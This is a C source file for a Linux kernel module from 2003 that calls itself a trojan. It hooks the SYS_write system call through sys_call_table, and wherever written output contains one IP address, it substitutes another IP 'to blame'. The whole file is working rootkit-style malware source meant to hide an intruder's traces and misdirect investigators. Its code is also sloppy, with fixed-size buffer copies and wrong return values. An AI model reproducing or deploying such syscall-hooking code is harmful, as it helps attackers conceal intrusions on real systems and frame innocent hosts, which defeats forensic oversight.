/*
 * Trojan Kernel Module for changing specific output
 *
 * License: GPL
 * Copyright: 2003
 * by Alexander Griesser <kernel-programming@tuxx-home.at>
 *
 * Compile with: gcc -o hide-file-parts.o -c hide-file-parts.c
 * Insmod with:  insmod ./hide-file-parts.o
 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <asm/uaccess.h>
#include <sys/syscall.h>
#include <sys/errno.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/slab.h>

MODULE_AUTHOR("Alexander Griesser");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Trojan Kernel Module for changing specific output");

/* Refer to the sys_call_table */
extern void* sys_call_table[];

/* Old and new SYS_write syscalls */
int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
int hacked_write(unsigned int fd, char *buf, unsigned int count)
{
  char *kernel_buf;
  char hide[] = "193.170.14.30";    /* the IP address we want to hide  */
  char replace[] = "193.170.14.34"; /* the IP address we want to blame */

  /* Allocate enough memory in kernel-space */
  kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);

  /* Copy the userspace pointer "buf" into kernelspace */
  copy_from_user(kernel_buf, buf, 999);

  /* Search for the IP address to hide */
  if(strstr(kernel_buf, (char*)&hide) != NULL)
  {
    /* If we found it, replace it with the one stored in the "replace" */
    /* buffer and free the used kernel memory                          */
    kfree(kernel_buf);
    printk("%s\n", replace);
    return sizeof(hide);
  }
  else
  {
    /* If we didn't find it, just ignore the request and act as usual */
    kfree(kernel_buf);
  }
  return orig_write(fd, buf, count);
}

/* Redirect the SYS_write syscall */
int init_module(void)
{
  orig_write = sys_call_table[SYS_write];
  sys_call_table[SYS_write] = hacked_write;
  return 0;
}

/* Revert the redirection */
void cleanup_module(void)
{
 sys_call_table[SYS_write] = orig_write;
}